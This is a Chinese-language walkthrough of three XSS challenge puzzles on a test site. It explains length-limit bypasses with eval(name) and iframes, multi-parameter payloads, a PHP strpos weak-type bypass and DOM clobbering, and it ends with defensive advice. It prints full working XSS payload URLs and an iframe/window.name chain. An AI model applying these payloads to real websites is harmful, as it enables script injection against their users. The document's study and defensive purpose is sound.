一些BAT的XSS实例(九)番外篇
字数 1384 2025-08-26 22:11:51

BAT XSS实例分析与绕过技术详解

前言

本文档详细分析了三个精心设计的XSS挑战题目,涵盖了长度限制绕过、逻辑判断绕过等高级技巧。这些案例来自BAT等大型互联网企业的实际场景,具有很高的实战价值。

第一题:短字符XSS绕过

题目地址:http://px1624.sinaapp.com/test/shortxss.php

题目分析

  • 页面接收px参数并直接输出在<script>标签内
  • 参数长度限制为10个字符
  • 直接使用alert(2020)(11字符)会超出限制

解决方案

使用eval(name)构造,配合iframe的name属性:

<iframe name="alert(2020)" src="http://px1624.sinaapp.com/test/shortxss.php?px=eval(name)">

技术原理

  • eval(name)仅9个字符,满足长度限制
  • iframe的name属性作为全局变量被eval执行
  • 利用全局变量传递执行代码

第二题:多参数联合XSS

题目地址:http://px1624.sinaapp.com/test/shortxss1.php

题目分析

  • 接收三个参数:px, px1, px2
  • 参数分别输出在img的alt属性和js代码中
  • 每个参数限制20个字符
  • 特殊字符过滤(除双引号外)

多种解法

解法1:变量重定义

http://px1624.sinaapp.com/test/shortxss1.php?px=alert(12345)&px1=%22onload=%22w=eval&px2=%22onload=%22w(px202012)
  • 将eval重定义为w
  • 利用可控变量px202012执行代码

解法2:PHP弱类型绕过

http://px1624.sinaapp.com/test/shortxss1.php?px=';alert(12345);'&px1=1&px2=2
  • 利用PHP strpos函数弱类型比较漏洞
  • 单引号位于参数首位时返回0,被误判为false

解法3:标签属性合并

http://px1624.sinaapp.com/test/shortxss1.php?px=1&px1=12345%22id=&px2=%22onload=%22alert(alt)
  • 合并两个标签属性
  • 利用alt属性执行代码

标准解法:双重eval中转

http://px1624.sinaapp.com/test/shortxss1.php?px=alert(12345)&px1=eval(px202012)%22id=%22t&px2=%22onload=%22eval(t.alt)
  1. img加载执行onload
  2. 执行t.alt → eval(px202012)
  3. px202012变量值为'alert(12345)'
  4. 最终执行eval('alert(12345)')

第三题:DOM Clobbering绕过

题目地址:http://px1624.sinaapp.com/test/shortxss2.php

题目分析

  • 接收px1和px2两个参数
  • 输出在img的alt属性和js逻辑判断中
  • 长度限制21字符
  • 过滤除双引号外的特殊字符
  • 需要绕过if判断执行else代码

解决方案

解法1:覆盖getElementById

http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;alert`2012.12.25`;%22
  • 原理:DOM Clobbering技术
  • img的name属性覆盖document.getElementById
  • 使if判断失败,执行else代码

解法2:结合window.name

<iframe name=javascript:alert("2020.12.25") src='http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;location=name;%22'>

<script>
window.name='javascript:alert("2020.12.25")';
location='http://px1624.sinaapp.com/test/shortxss2.php?px1=%22name=%22getElementById&px2=%22;location=name;%22'
</script>

技术原理:DOM Clobbering

  • 非标准化DOM行为:浏览器会将name/id属性作为文档或全局对象的属性引用
  • 可以覆盖document原有属性或全局变量
  • 详细原理参考:使用Dom Clobbering扩展XSS

总结与防御建议

关键技术点

  1. 短字符技巧:eval(name)、全局变量利用
  2. 多参数联合利用:参数分散控制,最终组合执行
  3. 语言特性绕过:PHP弱类型比较漏洞
  4. DOM Clobbering:覆盖DOM方法和属性

防御建议

  1. 严格过滤所有用户输入,不依赖黑名单
  2. 使用强类型比较(===和!==)
  3. 对输出进行适当的编码和转义
  4. 避免直接将用户输入放入脚本上下文
  5. 使用CSP等安全策略限制脚本执行

这些案例展示了XSS漏洞利用的高级技巧,对安全测试人员和开发人员都具有重要参考价值。理解这些技术有助于设计更安全的Web应用和更有效的防御措施。

BAT XSS实例分析与绕过技术详解 前言 本文档详细分析了三个精心设计的XSS挑战题目,涵盖了长度限制绕过、逻辑判断绕过等高级技巧。这些案例来自BAT等大型互联网企业的实际场景,具有很高的实战价值。 第一题:短字符XSS绕过 题目地址 :http://px1624.sinaapp.com/test/shortxss.php 题目分析 页面接收 px 参数并直接输出在 <script> 标签内 参数长度限制为10个字符 直接使用 alert(2020) (11字符)会超出限制 解决方案 使用 eval(name) 构造,配合iframe的name属性: 技术原理 eval(name) 仅9个字符,满足长度限制 iframe的name属性作为全局变量被eval执行 利用全局变量传递执行代码 第二题:多参数联合XSS 题目地址 :http://px1624.sinaapp.com/test/shortxss1.php 题目分析 接收三个参数: px , px1 , px2 参数分别输出在img的alt属性和js代码中 每个参数限制20个字符 特殊字符过滤(除双引号外) 多种解法 解法1:变量重定义 将eval重定义为w 利用可控变量px202012执行代码 解法2:PHP弱类型绕过 利用PHP strpos函数弱类型比较漏洞 单引号位于参数首位时返回0,被误判为false 解法3:标签属性合并 合并两个标签属性 利用alt属性执行代码 标准解法:双重eval中转 img加载执行onload 执行t.alt → eval(px202012) px202012变量值为'alert(12345)' 最终执行eval('alert(12345)') 第三题:DOM Clobbering绕过 题目地址 :http://px1624.sinaapp.com/test/shortxss2.php 题目分析 接收px1和px2两个参数 输出在img的alt属性和js逻辑判断中 长度限制21字符 过滤除双引号外的特殊字符 需要绕过if判断执行else代码 解决方案 解法1:覆盖getElementById 原理:DOM Clobbering技术 img的name属性覆盖document.getElementById 使if判断失败,执行else代码 解法2:结合window.name 或 技术原理:DOM Clobbering 非标准化DOM行为:浏览器会将name/id属性作为文档或全局对象的属性引用 可以覆盖document原有属性或全局变量 详细原理参考: 使用Dom Clobbering扩展XSS 总结与防御建议 关键技术点 短字符技巧 :eval(name)、全局变量利用 多参数联合利用 :参数分散控制,最终组合执行 语言特性绕过 :PHP弱类型比较漏洞 DOM Clobbering :覆盖DOM方法和属性 防御建议 严格过滤所有用户输入,不依赖黑名单 使用强类型比较(===和 !==) 对输出进行适当的编码和转义 避免直接将用户输入放入脚本上下文 使用CSP等安全策略限制脚本执行 这些案例展示了XSS漏洞利用的高级技巧,对安全测试人员和开发人员都具有重要参考价值。理解这些技术有助于设计更安全的Web应用和更有效的防御措施。